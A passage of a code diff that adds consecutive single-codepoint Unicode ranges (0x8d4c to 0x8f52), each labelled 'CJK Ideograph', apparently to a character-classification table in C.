+ [0x8d4c, 0x8d4c], /* CJK Ideograph */
+ [0x8d4d, 0x8d4d], /* CJK Ideograph */
+ [0x8d4e, 0x8d4e], /* CJK Ideograph */
+ [0x8d4f, 0x8d4f], /* CJK Ideograph */
+ [0x8d50, 0x8d50], /* CJK Ideograph */
+ [0x8d51, 0x8d51], /* CJK Ideograph */
+ [0x8d52, 0x8d52], /* CJK Ideograph */
+ [0x8d53, 0x8d53], /* CJK Ideograph */
+ [0x8d54, 0x8d54], /* CJK Ideograph */
+ [0x8d55, 0x8d55], /* CJK Ideograph */
+ [0x8d56, 0x8d56], /* CJK Ideograph */
+ [0x8d57, 0x8d57], /* CJK Ideograph */
+ [0x8d58, 0x8d58], /* CJK Ideograph */
+ [0x8d59, 0x8d59], /* CJK Ideograph */
+ [0x8d5a, 0x8d5a], /* CJK Ideograph */
+ [0x8d5b, 0x8d5b], /* CJK Ideograph */
+ [0x8d5c, 0x8d5c], /* CJK Ideograph */
+ [0x8d5d, 0x8d5d], /* CJK Ideograph */
+ [0x8d5e, 0x8d5e], /* CJK Ideograph */
+ [0x8d5f, 0x8d5f], /* CJK Ideograph */
+ [0x8d60, 0x8d60], /* CJK Ideograph */
+ [0x8d61, 0x8d61], /* CJK Ideograph */
+ [0x8d62, 0x8d62], /* CJK Ideograph */
+ [0x8d63, 0x8d63], /* CJK Ideograph */
+ [0x8d64, 0x8d64], /* CJK Ideograph */
+ [0x8d65, 0x8d65], /* CJK Ideograph */
+ [0x8d66, 0x8d66], /* CJK Ideograph */
+ [0x8d67, 0x8d67], /* CJK Ideograph */
+ [0x8d68, 0x8d68], /* CJK Ideograph */
+ [0x8d69, 0x8d69], /* CJK Ideograph */
+ [0x8d6a, 0x8d6a], /* CJK Ideograph */
+ [0x8d6b, 0x8d6b], /* CJK Ideograph */
+ [0x8d6c, 0x8d6c], /* CJK Ideograph */
+ [0x8d6d, 0x8d6d], /* CJK Ideograph */
+ [0x8d6e, 0x8d6e], /* CJK Ideograph */
+ [0x8d6f, 0x8d6f], /* CJK Ideograph */
+ [0x8d70, 0x8d70], /* CJK Ideograph */
+ [0x8d71, 0x8d71], /* CJK Ideograph */
+ [0x8d72, 0x8d72], /* CJK Ideograph */
+ [0x8d73, 0x8d73], /* CJK Ideograph */
+ [0x8d74, 0x8d74], /* CJK Ideograph */
+ [0x8d75, 0x8d75], /* CJK Ideograph */
+ [0x8d76, 0x8d76], /* CJK Ideograph */
+ [0x8d77, 0x8d77], /* CJK Ideograph */
+ [0x8d78, 0x8d78], /* CJK Ideograph */
+ [0x8d79, 0x8d79], /* CJK Ideograph */
+ [0x8d7a, 0x8d7a], /* CJK Ideograph */
+ [0x8d7b, 0x8d7b], /* CJK Ideograph */
+ [0x8d7c, 0x8d7c], /* CJK Ideograph */
+ [0x8d7d, 0x8d7d], /* CJK Ideograph */
+ [0x8d7e, 0x8d7e], /* CJK Ideograph */
+ [0x8d7f, 0x8d7f], /* CJK Ideograph */
+ [0x8d80, 0x8d80], /* CJK Ideograph */
+ [0x8d81, 0x8d81], /* CJK Ideograph */
+ [0x8d82, 0x8d82], /* CJK Ideograph */
+ [0x8d83, 0x8d83], /* CJK Ideograph */
+ [0x8d84, 0x8d84], /* CJK Ideograph */
+ [0x8d85, 0x8d85], /* CJK Ideograph */
+ [0x8d86, 0x8d86], /* CJK Ideograph */
+ [0x8d87, 0x8d87], /* CJK Ideograph */
+ [0x8d88, 0x8d88], /* CJK Ideograph */
+ [0x8d89, 0x8d89], /* CJK Ideograph */
+ [0x8d8a, 0x8d8a], /* CJK Ideograph */
+ [0x8d8b, 0x8d8b], /* CJK Ideograph */
+ [0x8d8c, 0x8d8c], /* CJK Ideograph */
+ [0x8d8d, 0x8d8d], /* CJK Ideograph */
+ [0x8d8e, 0x8d8e], /* CJK Ideograph */
+ [0x8d8f, 0x8d8f], /* CJK Ideograph */
+ [0x8d90, 0x8d90], /* CJK Ideograph */
+ [0x8d91, 0x8d91], /* CJK Ideograph */
+ [0x8d92, 0x8d92], /* CJK Ideograph */
+ [0x8d93, 0x8d93], /* CJK Ideograph */
+ [0x8d94, 0x8d94], /* CJK Ideograph */
+ [0x8d95, 0x8d95], /* CJK Ideograph */
+ [0x8d96, 0x8d96], /* CJK Ideograph */
+ [0x8d97, 0x8d97], /* CJK Ideograph */
+ [0x8d98, 0x8d98], /* CJK Ideograph */
+ [0x8d99, 0x8d99], /* CJK Ideograph */
+ [0x8d9a, 0x8d9a], /* CJK Ideograph */
+ [0x8d9b, 0x8d9b], /* CJK Ideograph */
+ [0x8d9c, 0x8d9c], /* CJK Ideograph */
+ [0x8d9d, 0x8d9d], /* CJK Ideograph */
+ [0x8d9e, 0x8d9e], /* CJK Ideograph */
+ [0x8d9f, 0x8d9f], /* CJK Ideograph */
+ [0x8da0, 0x8da0], /* CJK Ideograph */
+ [0x8da1, 0x8da1], /* CJK Ideograph */
+ [0x8da2, 0x8da2], /* CJK Ideograph */
+ [0x8da3, 0x8da3], /* CJK Ideograph */
+ [0x8da4, 0x8da4], /* CJK Ideograph */
+ [0x8da5, 0x8da5], /* CJK Ideograph */
+ [0x8da6, 0x8da6], /* CJK Ideograph */
+ [0x8da7, 0x8da7], /* CJK Ideograph */
+ [0x8da8, 0x8da8], /* CJK Ideograph */
+ [0x8da9, 0x8da9], /* CJK Ideograph */
+ [0x8daa, 0x8daa], /* CJK Ideograph */
+ [0x8dab, 0x8dab], /* CJK Ideograph */
+ [0x8dac, 0x8dac], /* CJK Ideograph */
+ [0x8dad, 0x8dad], /* CJK Ideograph */
+ [0x8dae, 0x8dae], /* CJK Ideograph */
+ [0x8daf, 0x8daf], /* CJK Ideograph */
+ [0x8db0, 0x8db0], /* CJK Ideograph */
+ [0x8db1, 0x8db1], /* CJK Ideograph */
+ [0x8db2, 0x8db2], /* CJK Ideograph */
+ [0x8db3, 0x8db3], /* CJK Ideograph */
+ [0x8db4, 0x8db4], /* CJK Ideograph */
+ [0x8db5, 0x8db5], /* CJK Ideograph */
+ [0x8db6, 0x8db6], /* CJK Ideograph */
+ [0x8db7, 0x8db7], /* CJK Ideograph */
+ [0x8db8, 0x8db8], /* CJK Ideograph */
+ [0x8db9, 0x8db9], /* CJK Ideograph */
+ [0x8dba, 0x8dba], /* CJK Ideograph */
+ [0x8dbb, 0x8dbb], /* CJK Ideograph */
+ [0x8dbc, 0x8dbc], /* CJK Ideograph */
+ [0x8dbd, 0x8dbd], /* CJK Ideograph */
+ [0x8dbe, 0x8dbe], /* CJK Ideograph */
+ [0x8dbf, 0x8dbf], /* CJK Ideograph */
+ [0x8dc0, 0x8dc0], /* CJK Ideograph */
+ [0x8dc1, 0x8dc1], /* CJK Ideograph */
+ [0x8dc2, 0x8dc2], /* CJK Ideograph */
+ [0x8dc3, 0x8dc3], /* CJK Ideograph */
+ [0x8dc4, 0x8dc4], /* CJK Ideograph */
+ [0x8dc5, 0x8dc5], /* CJK Ideograph */
+ [0x8dc6, 0x8dc6], /* CJK Ideograph */
+ [0x8dc7, 0x8dc7], /* CJK Ideograph */
+ [0x8dc8, 0x8dc8], /* CJK Ideograph */
+ [0x8dc9, 0x8dc9], /* CJK Ideograph */
+ [0x8dca, 0x8dca], /* CJK Ideograph */
+ [0x8dcb, 0x8dcb], /* CJK Ideograph */
+ [0x8dcc, 0x8dcc], /* CJK Ideograph */
+ [0x8dcd, 0x8dcd], /* CJK Ideograph */
+ [0x8dce, 0x8dce], /* CJK Ideograph */
+ [0x8dcf, 0x8dcf], /* CJK Ideograph */
+ [0x8dd0, 0x8dd0], /* CJK Ideograph */
+ [0x8dd1, 0x8dd1], /* CJK Ideograph */
+ [0x8dd2, 0x8dd2], /* CJK Ideograph */
+ [0x8dd3, 0x8dd3], /* CJK Ideograph */
+ [0x8dd4, 0x8dd4], /* CJK Ideograph */
+ [0x8dd5, 0x8dd5], /* CJK Ideograph */
+ [0x8dd6, 0x8dd6], /* CJK Ideograph */
+ [0x8dd7, 0x8dd7], /* CJK Ideograph */
+ [0x8dd8, 0x8dd8], /* CJK Ideograph */
+ [0x8dd9, 0x8dd9], /* CJK Ideograph */
+ [0x8dda, 0x8dda], /* CJK Ideograph */
+ [0x8ddb, 0x8ddb], /* CJK Ideograph */
+ [0x8ddc, 0x8ddc], /* CJK Ideograph */
+ [0x8ddd, 0x8ddd], /* CJK Ideograph */
+ [0x8dde, 0x8dde], /* CJK Ideograph */
+ [0x8ddf, 0x8ddf], /* CJK Ideograph */
+ [0x8de0, 0x8de0], /* CJK Ideograph */
+ [0x8de1, 0x8de1], /* CJK Ideograph */
+ [0x8de2, 0x8de2], /* CJK Ideograph */
+ [0x8de3, 0x8de3], /* CJK Ideograph */
+ [0x8de4, 0x8de4], /* CJK Ideograph */
+ [0x8de5, 0x8de5], /* CJK Ideograph */
+ [0x8de6, 0x8de6], /* CJK Ideograph */
+ [0x8de7, 0x8de7], /* CJK Ideograph */
+ [0x8de8, 0x8de8], /* CJK Ideograph */
+ [0x8de9, 0x8de9], /* CJK Ideograph */
+ [0x8dea, 0x8dea], /* CJK Ideograph */
+ [0x8deb, 0x8deb], /* CJK Ideograph */
+ [0x8dec, 0x8dec], /* CJK Ideograph */
+ [0x8ded, 0x8ded], /* CJK Ideograph */
+ [0x8dee, 0x8dee], /* CJK Ideograph */
+ [0x8def, 0x8def], /* CJK Ideograph */
+ [0x8df0, 0x8df0], /* CJK Ideograph */
+ [0x8df1, 0x8df1], /* CJK Ideograph */
+ [0x8df2, 0x8df2], /* CJK Ideograph */
+ [0x8df3, 0x8df3], /* CJK Ideograph */
+ [0x8df4, 0x8df4], /* CJK Ideograph */
+ [0x8df5, 0x8df5], /* CJK Ideograph */
+ [0x8df6, 0x8df6], /* CJK Ideograph */
+ [0x8df7, 0x8df7], /* CJK Ideograph */
+ [0x8df8, 0x8df8], /* CJK Ideograph */
+ [0x8df9, 0x8df9], /* CJK Ideograph */
+ [0x8dfa, 0x8dfa], /* CJK Ideograph */
+ [0x8dfb, 0x8dfb], /* CJK Ideograph */
+ [0x8dfc, 0x8dfc], /* CJK Ideograph */
+ [0x8dfd, 0x8dfd], /* CJK Ideograph */
+ [0x8dfe, 0x8dfe], /* CJK Ideograph */
+ [0x8dff, 0x8dff], /* CJK Ideograph */
+ [0x8e00, 0x8e00], /* CJK Ideograph */
+ [0x8e01, 0x8e01], /* CJK Ideograph */
+ [0x8e02, 0x8e02], /* CJK Ideograph */
+ [0x8e03, 0x8e03], /* CJK Ideograph */
+ [0x8e04, 0x8e04], /* CJK Ideograph */
+ [0x8e05, 0x8e05], /* CJK Ideograph */
+ [0x8e06, 0x8e06], /* CJK Ideograph */
+ [0x8e07, 0x8e07], /* CJK Ideograph */
+ [0x8e08, 0x8e08], /* CJK Ideograph */
+ [0x8e09, 0x8e09], /* CJK Ideograph */
+ [0x8e0a, 0x8e0a], /* CJK Ideograph */
+ [0x8e0b, 0x8e0b], /* CJK Ideograph */
+ [0x8e0c, 0x8e0c], /* CJK Ideograph */
+ [0x8e0d, 0x8e0d], /* CJK Ideograph */
+ [0x8e0e, 0x8e0e], /* CJK Ideograph */
+ [0x8e0f, 0x8e0f], /* CJK Ideograph */
+ [0x8e10, 0x8e10], /* CJK Ideograph */
+ [0x8e11, 0x8e11], /* CJK Ideograph */
+ [0x8e12, 0x8e12], /* CJK Ideograph */
+ [0x8e13, 0x8e13], /* CJK Ideograph */
+ [0x8e14, 0x8e14], /* CJK Ideograph */
+ [0x8e15, 0x8e15], /* CJK Ideograph */
+ [0x8e16, 0x8e16], /* CJK Ideograph */
+ [0x8e17, 0x8e17], /* CJK Ideograph */
+ [0x8e18, 0x8e18], /* CJK Ideograph */
+ [0x8e19, 0x8e19], /* CJK Ideograph */
+ [0x8e1a, 0x8e1a], /* CJK Ideograph */
+ [0x8e1b, 0x8e1b], /* CJK Ideograph */
+ [0x8e1c, 0x8e1c], /* CJK Ideograph */
+ [0x8e1d, 0x8e1d], /* CJK Ideograph */
+ [0x8e1e, 0x8e1e], /* CJK Ideograph */
+ [0x8e1f, 0x8e1f], /* CJK Ideograph */
+ [0x8e20, 0x8e20], /* CJK Ideograph */
+ [0x8e21, 0x8e21], /* CJK Ideograph */
+ [0x8e22, 0x8e22], /* CJK Ideograph */
+ [0x8e23, 0x8e23], /* CJK Ideograph */
+ [0x8e24, 0x8e24], /* CJK Ideograph */
+ [0x8e25, 0x8e25], /* CJK Ideograph */
+ [0x8e26, 0x8e26], /* CJK Ideograph */
+ [0x8e27, 0x8e27], /* CJK Ideograph */
+ [0x8e28, 0x8e28], /* CJK Ideograph */
+ [0x8e29, 0x8e29], /* CJK Ideograph */
+ [0x8e2a, 0x8e2a], /* CJK Ideograph */
+ [0x8e2b, 0x8e2b], /* CJK Ideograph */
+ [0x8e2c, 0x8e2c], /* CJK Ideograph */
+ [0x8e2d, 0x8e2d], /* CJK Ideograph */
+ [0x8e2e, 0x8e2e], /* CJK Ideograph */
+ [0x8e2f, 0x8e2f], /* CJK Ideograph */
+ [0x8e30, 0x8e30], /* CJK Ideograph */
+ [0x8e31, 0x8e31], /* CJK Ideograph */
+ [0x8e32, 0x8e32], /* CJK Ideograph */
+ [0x8e33, 0x8e33], /* CJK Ideograph */
+ [0x8e34, 0x8e34], /* CJK Ideograph */
+ [0x8e35, 0x8e35], /* CJK Ideograph */
+ [0x8e36, 0x8e36], /* CJK Ideograph */
+ [0x8e37, 0x8e37], /* CJK Ideograph */
+ [0x8e38, 0x8e38], /* CJK Ideograph */
+ [0x8e39, 0x8e39], /* CJK Ideograph */
+ [0x8e3a, 0x8e3a], /* CJK Ideograph */
+ [0x8e3b, 0x8e3b], /* CJK Ideograph */
+ [0x8e3c, 0x8e3c], /* CJK Ideograph */
+ [0x8e3d, 0x8e3d], /* CJK Ideograph */
+ [0x8e3e, 0x8e3e], /* CJK Ideograph */
+ [0x8e3f, 0x8e3f], /* CJK Ideograph */
+ [0x8e40, 0x8e40], /* CJK Ideograph */
+ [0x8e41, 0x8e41], /* CJK Ideograph */
+ [0x8e42, 0x8e42], /* CJK Ideograph */
+ [0x8e43, 0x8e43], /* CJK Ideograph */
+ [0x8e44, 0x8e44], /* CJK Ideograph */
+ [0x8e45, 0x8e45], /* CJK Ideograph */
+ [0x8e46, 0x8e46], /* CJK Ideograph */
+ [0x8e47, 0x8e47], /* CJK Ideograph */
+ [0x8e48, 0x8e48], /* CJK Ideograph */
+ [0x8e49, 0x8e49], /* CJK Ideograph */
+ [0x8e4a, 0x8e4a], /* CJK Ideograph */
+ [0x8e4b, 0x8e4b], /* CJK Ideograph */
+ [0x8e4c, 0x8e4c], /* CJK Ideograph */
+ [0x8e4d, 0x8e4d], /* CJK Ideograph */
+ [0x8e4e, 0x8e4e], /* CJK Ideograph */
+ [0x8e4f, 0x8e4f], /* CJK Ideograph */
+ [0x8e50, 0x8e50], /* CJK Ideograph */
+ [0x8e51, 0x8e51], /* CJK Ideograph */
+ [0x8e52, 0x8e52], /* CJK Ideograph */
+ [0x8e53, 0x8e53], /* CJK Ideograph */
+ [0x8e54, 0x8e54], /* CJK Ideograph */
+ [0x8e55, 0x8e55], /* CJK Ideograph */
+ [0x8e56, 0x8e56], /* CJK Ideograph */
+ [0x8e57, 0x8e57], /* CJK Ideograph */
+ [0x8e58, 0x8e58], /* CJK Ideograph */
+ [0x8e59, 0x8e59], /* CJK Ideograph */
+ [0x8e5a, 0x8e5a], /* CJK Ideograph */
+ [0x8e5b, 0x8e5b], /* CJK Ideograph */
+ [0x8e5c, 0x8e5c], /* CJK Ideograph */
+ [0x8e5d, 0x8e5d], /* CJK Ideograph */
+ [0x8e5e, 0x8e5e], /* CJK Ideograph */
+ [0x8e5f, 0x8e5f], /* CJK Ideograph */
+ [0x8e60, 0x8e60], /* CJK Ideograph */
+ [0x8e61, 0x8e61], /* CJK Ideograph */
+ [0x8e62, 0x8e62], /* CJK Ideograph */
+ [0x8e63, 0x8e63], /* CJK Ideograph */
+ [0x8e64, 0x8e64], /* CJK Ideograph */
+ [0x8e65, 0x8e65], /* CJK Ideograph */
+ [0x8e66, 0x8e66], /* CJK Ideograph */
+ [0x8e67, 0x8e67], /* CJK Ideograph */
+ [0x8e68, 0x8e68], /* CJK Ideograph */
+ [0x8e69, 0x8e69], /* CJK Ideograph */
+ [0x8e6a, 0x8e6a], /* CJK Ideograph */
+ [0x8e6b, 0x8e6b], /* CJK Ideograph */
+ [0x8e6c, 0x8e6c], /* CJK Ideograph */
+ [0x8e6d, 0x8e6d], /* CJK Ideograph */
+ [0x8e6e, 0x8e6e], /* CJK Ideograph */
+ [0x8e6f, 0x8e6f], /* CJK Ideograph */
+ [0x8e70, 0x8e70], /* CJK Ideograph */
+ [0x8e71, 0x8e71], /* CJK Ideograph */
+ [0x8e72, 0x8e72], /* CJK Ideograph */
+ [0x8e73, 0x8e73], /* CJK Ideograph */
+ [0x8e74, 0x8e74], /* CJK Ideograph */
+ [0x8e75, 0x8e75], /* CJK Ideograph */
+ [0x8e76, 0x8e76], /* CJK Ideograph */
+ [0x8e77, 0x8e77], /* CJK Ideograph */
+ [0x8e78, 0x8e78], /* CJK Ideograph */
+ [0x8e79, 0x8e79], /* CJK Ideograph */
+ [0x8e7a, 0x8e7a], /* CJK Ideograph */
+ [0x8e7b, 0x8e7b], /* CJK Ideograph */
+ [0x8e7c, 0x8e7c], /* CJK Ideograph */
+ [0x8e7d, 0x8e7d], /* CJK Ideograph */
+ [0x8e7e, 0x8e7e], /* CJK Ideograph */
+ [0x8e7f, 0x8e7f], /* CJK Ideograph */
+ [0x8e80, 0x8e80], /* CJK Ideograph */
+ [0x8e81, 0x8e81], /* CJK Ideograph */
+ [0x8e82, 0x8e82], /* CJK Ideograph */
+ [0x8e83, 0x8e83], /* CJK Ideograph */
+ [0x8e84, 0x8e84], /* CJK Ideograph */
+ [0x8e85, 0x8e85], /* CJK Ideograph */
+ [0x8e86, 0x8e86], /* CJK Ideograph */
+ [0x8e87, 0x8e87], /* CJK Ideograph */
+ [0x8e88, 0x8e88], /* CJK Ideograph */
+ [0x8e89, 0x8e89], /* CJK Ideograph */
+ [0x8e8a, 0x8e8a], /* CJK Ideograph */
+ [0x8e8b, 0x8e8b], /* CJK Ideograph */
+ [0x8e8c, 0x8e8c], /* CJK Ideograph */
+ [0x8e8d, 0x8e8d], /* CJK Ideograph */
+ [0x8e8e, 0x8e8e], /* CJK Ideograph */
+ [0x8e8f, 0x8e8f], /* CJK Ideograph */
+ [0x8e90, 0x8e90], /* CJK Ideograph */
+ [0x8e91, 0x8e91], /* CJK Ideograph */
+ [0x8e92, 0x8e92], /* CJK Ideograph */
+ [0x8e93, 0x8e93], /* CJK Ideograph */
+ [0x8e94, 0x8e94], /* CJK Ideograph */
+ [0x8e95, 0x8e95], /* CJK Ideograph */
+ [0x8e96, 0x8e96], /* CJK Ideograph */
+ [0x8e97, 0x8e97], /* CJK Ideograph */
+ [0x8e98, 0x8e98], /* CJK Ideograph */
+ [0x8e99, 0x8e99], /* CJK Ideograph */
+ [0x8e9a, 0x8e9a], /* CJK Ideograph */
+ [0x8e9b, 0x8e9b], /* CJK Ideograph */
+ [0x8e9c, 0x8e9c], /* CJK Ideograph */
+ [0x8e9d, 0x8e9d], /* CJK Ideograph */
+ [0x8e9e, 0x8e9e], /* CJK Ideograph */
+ [0x8e9f, 0x8e9f], /* CJK Ideograph */
+ [0x8ea0, 0x8ea0], /* CJK Ideograph */
+ [0x8ea1, 0x8ea1], /* CJK Ideograph */
+ [0x8ea2, 0x8ea2], /* CJK Ideograph */
+ [0x8ea3, 0x8ea3], /* CJK Ideograph */
+ [0x8ea4, 0x8ea4], /* CJK Ideograph */
+ [0x8ea5, 0x8ea5], /* CJK Ideograph */
+ [0x8ea6, 0x8ea6], /* CJK Ideograph */
+ [0x8ea7, 0x8ea7], /* CJK Ideograph */
+ [0x8ea8, 0x8ea8], /* CJK Ideograph */
+ [0x8ea9, 0x8ea9], /* CJK Ideograph */
+ [0x8eaa, 0x8eaa], /* CJK Ideograph */
+ [0x8eab, 0x8eab], /* CJK Ideograph */
+ [0x8eac, 0x8eac], /* CJK Ideograph */
+ [0x8ead, 0x8ead], /* CJK Ideograph */
+ [0x8eae, 0x8eae], /* CJK Ideograph */
+ [0x8eaf, 0x8eaf], /* CJK Ideograph */
+ [0x8eb0, 0x8eb0], /* CJK Ideograph */
+ [0x8eb1, 0x8eb1], /* CJK Ideograph */
+ [0x8eb2, 0x8eb2], /* CJK Ideograph */
+ [0x8eb3, 0x8eb3], /* CJK Ideograph */
+ [0x8eb4, 0x8eb4], /* CJK Ideograph */
+ [0x8eb5, 0x8eb5], /* CJK Ideograph */
+ [0x8eb6, 0x8eb6], /* CJK Ideograph */
+ [0x8eb7, 0x8eb7], /* CJK Ideograph */
+ [0x8eb8, 0x8eb8], /* CJK Ideograph */
+ [0x8eb9, 0x8eb9], /* CJK Ideograph */
+ [0x8eba, 0x8eba], /* CJK Ideograph */
+ [0x8ebb, 0x8ebb], /* CJK Ideograph */
+ [0x8ebc, 0x8ebc], /* CJK Ideograph */
+ [0x8ebd, 0x8ebd], /* CJK Ideograph */
+ [0x8ebe, 0x8ebe], /* CJK Ideograph */
+ [0x8ebf, 0x8ebf], /* CJK Ideograph */
+ [0x8ec0, 0x8ec0], /* CJK Ideograph */
+ [0x8ec1, 0x8ec1], /* CJK Ideograph */
+ [0x8ec2, 0x8ec2], /* CJK Ideograph */
+ [0x8ec3, 0x8ec3], /* CJK Ideograph */
+ [0x8ec4, 0x8ec4], /* CJK Ideograph */
+ [0x8ec5, 0x8ec5], /* CJK Ideograph */
+ [0x8ec6, 0x8ec6], /* CJK Ideograph */
+ [0x8ec7, 0x8ec7], /* CJK Ideograph */
+ [0x8ec8, 0x8ec8], /* CJK Ideograph */
+ [0x8ec9, 0x8ec9], /* CJK Ideograph */
+ [0x8eca, 0x8eca], /* CJK Ideograph */
+ [0x8ecb, 0x8ecb], /* CJK Ideograph */
+ [0x8ecc, 0x8ecc], /* CJK Ideograph */
+ [0x8ecd, 0x8ecd], /* CJK Ideograph */
+ [0x8ece, 0x8ece], /* CJK Ideograph */
+ [0x8ecf, 0x8ecf], /* CJK Ideograph */
+ [0x8ed0, 0x8ed0], /* CJK Ideograph */
+ [0x8ed1, 0x8ed1], /* CJK Ideograph */
+ [0x8ed2, 0x8ed2], /* CJK Ideograph */
+ [0x8ed3, 0x8ed3], /* CJK Ideograph */
+ [0x8ed4, 0x8ed4], /* CJK Ideograph */
+ [0x8ed5, 0x8ed5], /* CJK Ideograph */
+ [0x8ed6, 0x8ed6], /* CJK Ideograph */
+ [0x8ed7, 0x8ed7], /* CJK Ideograph */
+ [0x8ed8, 0x8ed8], /* CJK Ideograph */
+ [0x8ed9, 0x8ed9], /* CJK Ideograph */
+ [0x8eda, 0x8eda], /* CJK Ideograph */
+ [0x8edb, 0x8edb], /* CJK Ideograph */
+ [0x8edc, 0x8edc], /* CJK Ideograph */
+ [0x8edd, 0x8edd], /* CJK Ideograph */
+ [0x8ede, 0x8ede], /* CJK Ideograph */
+ [0x8edf, 0x8edf], /* CJK Ideograph */
+ [0x8ee0, 0x8ee0], /* CJK Ideograph */
+ [0x8ee1, 0x8ee1], /* CJK Ideograph */
+ [0x8ee2, 0x8ee2], /* CJK Ideograph */
+ [0x8ee3, 0x8ee3], /* CJK Ideograph */
+ [0x8ee4, 0x8ee4], /* CJK Ideograph */
+ [0x8ee5, 0x8ee5], /* CJK Ideograph */
+ [0x8ee6, 0x8ee6], /* CJK Ideograph */
+ [0x8ee7, 0x8ee7], /* CJK Ideograph */
+ [0x8ee8, 0x8ee8], /* CJK Ideograph */
+ [0x8ee9, 0x8ee9], /* CJK Ideograph */
+ [0x8eea, 0x8eea], /* CJK Ideograph */
+ [0x8eeb, 0x8eeb], /* CJK Ideograph */
+ [0x8eec, 0x8eec], /* CJK Ideograph */
+ [0x8eed, 0x8eed], /* CJK Ideograph */
+ [0x8eee, 0x8eee], /* CJK Ideograph */
+ [0x8eef, 0x8eef], /* CJK Ideograph */
+ [0x8ef0, 0x8ef0], /* CJK Ideograph */
+ [0x8ef1, 0x8ef1], /* CJK Ideograph */
+ [0x8ef2, 0x8ef2], /* CJK Ideograph */
+ [0x8ef3, 0x8ef3], /* CJK Ideograph */
+ [0x8ef4, 0x8ef4], /* CJK Ideograph */
+ [0x8ef5, 0x8ef5], /* CJK Ideograph */
+ [0x8ef6, 0x8ef6], /* CJK Ideograph */
+ [0x8ef7, 0x8ef7], /* CJK Ideograph */
+ [0x8ef8, 0x8ef8], /* CJK Ideograph */
+ [0x8ef9, 0x8ef9], /* CJK Ideograph */
+ [0x8efa, 0x8efa], /* CJK Ideograph */
+ [0x8efb, 0x8efb], /* CJK Ideograph */
+ [0x8efc, 0x8efc], /* CJK Ideograph */
+ [0x8efd, 0x8efd], /* CJK Ideograph */
+ [0x8efe, 0x8efe], /* CJK Ideograph */
+ [0x8eff, 0x8eff], /* CJK Ideograph */
+ [0x8f00, 0x8f00], /* CJK Ideograph */
+ [0x8f01, 0x8f01], /* CJK Ideograph */
+ [0x8f02, 0x8f02], /* CJK Ideograph */
+ [0x8f03, 0x8f03], /* CJK Ideograph */
+ [0x8f04, 0x8f04], /* CJK Ideograph */
+ [0x8f05, 0x8f05], /* CJK Ideograph */
+ [0x8f06, 0x8f06], /* CJK Ideograph */
+ [0x8f07, 0x8f07], /* CJK Ideograph */
+ [0x8f08, 0x8f08], /* CJK Ideograph */
+ [0x8f09, 0x8f09], /* CJK Ideograph */
+ [0x8f0a, 0x8f0a], /* CJK Ideograph */
+ [0x8f0b, 0x8f0b], /* CJK Ideograph */
+ [0x8f0c, 0x8f0c], /* CJK Ideograph */
+ [0x8f0d, 0x8f0d], /* CJK Ideograph */
+ [0x8f0e, 0x8f0e], /* CJK Ideograph */
+ [0x8f0f, 0x8f0f], /* CJK Ideograph */
+ [0x8f10, 0x8f10], /* CJK Ideograph */
+ [0x8f11, 0x8f11], /* CJK Ideograph */
+ [0x8f12, 0x8f12], /* CJK Ideograph */
+ [0x8f13, 0x8f13], /* CJK Ideograph */
+ [0x8f14, 0x8f14], /* CJK Ideograph */
+ [0x8f15, 0x8f15], /* CJK Ideograph */
+ [0x8f16, 0x8f16], /* CJK Ideograph */
+ [0x8f17, 0x8f17], /* CJK Ideograph */
+ [0x8f18, 0x8f18], /* CJK Ideograph */
+ [0x8f19, 0x8f19], /* CJK Ideograph */
+ [0x8f1a, 0x8f1a], /* CJK Ideograph */
+ [0x8f1b, 0x8f1b], /* CJK Ideograph */
+ [0x8f1c, 0x8f1c], /* CJK Ideograph */
+ [0x8f1d, 0x8f1d], /* CJK Ideograph */
+ [0x8f1e, 0x8f1e], /* CJK Ideograph */
+ [0x8f1f, 0x8f1f], /* CJK Ideograph */
+ [0x8f20, 0x8f20], /* CJK Ideograph */
+ [0x8f21, 0x8f21], /* CJK Ideograph */
+ [0x8f22, 0x8f22], /* CJK Ideograph */
+ [0x8f23, 0x8f23], /* CJK Ideograph */
+ [0x8f24, 0x8f24], /* CJK Ideograph */
+ [0x8f25, 0x8f25], /* CJK Ideograph */
+ [0x8f26, 0x8f26], /* CJK Ideograph */
+ [0x8f27, 0x8f27], /* CJK Ideograph */
+ [0x8f28, 0x8f28], /* CJK Ideograph */
+ [0x8f29, 0x8f29], /* CJK Ideograph */
+ [0x8f2a, 0x8f2a], /* CJK Ideograph */
+ [0x8f2b, 0x8f2b], /* CJK Ideograph */
+ [0x8f2c, 0x8f2c], /* CJK Ideograph */
+ [0x8f2d, 0x8f2d], /* CJK Ideograph */
+ [0x8f2e, 0x8f2e], /* CJK Ideograph */
+ [0x8f2f, 0x8f2f], /* CJK Ideograph */
+ [0x8f30, 0x8f30], /* CJK Ideograph */
+ [0x8f31, 0x8f31], /* CJK Ideograph */
+ [0x8f32, 0x8f32], /* CJK Ideograph */
+ [0x8f33, 0x8f33], /* CJK Ideograph */
+ [0x8f34, 0x8f34], /* CJK Ideograph */
+ [0x8f35, 0x8f35], /* CJK Ideograph */
+ [0x8f36, 0x8f36], /* CJK Ideograph */
+ [0x8f37, 0x8f37], /* CJK Ideograph */
+ [0x8f38, 0x8f38], /* CJK Ideograph */
+ [0x8f39, 0x8f39], /* CJK Ideograph */
+ [0x8f3a, 0x8f3a], /* CJK Ideograph */
+ [0x8f3b, 0x8f3b], /* CJK Ideograph */
+ [0x8f3c, 0x8f3c], /* CJK Ideograph */
+ [0x8f3d, 0x8f3d], /* CJK Ideograph */
+ [0x8f3e, 0x8f3e], /* CJK Ideograph */
+ [0x8f3f, 0x8f3f], /* CJK Ideograph */
+ [0x8f40, 0x8f40], /* CJK Ideograph */
+ [0x8f41, 0x8f41], /* CJK Ideograph */
+ [0x8f42, 0x8f42], /* CJK Ideograph */
+ [0x8f43, 0x8f43], /* CJK Ideograph */
+ [0x8f44, 0x8f44], /* CJK Ideograph */
+ [0x8f45, 0x8f45], /* CJK Ideograph */
+ [0x8f46, 0x8f46], /* CJK Ideograph */
+ [0x8f47, 0x8f47], /* CJK Ideograph */
+ [0x8f48, 0x8f48], /* CJK Ideograph */
+ [0x8f49, 0x8f49], /* CJK Ideograph */
+ [0x8f4a, 0x8f4a], /* CJK Ideograph */
+ [0x8f4b, 0x8f4b], /* CJK Ideograph */
+ [0x8f4c, 0x8f4c], /* CJK Ideograph */
+ [0x8f4d, 0x8f4d], /* CJK Ideograph */
+ [0x8f4e, 0x8f4e], /* CJK Ideograph */
+ [0x8f4f, 0x8f4f], /* CJK Ideograph */
+ [0x8f50, 0x8f50], /* CJK Ideograph */
+ [0x8f51, 0x8f51], /* CJK Ideograph */
+ [0x8f52, 0x8f52], /* CJK Ideograph */
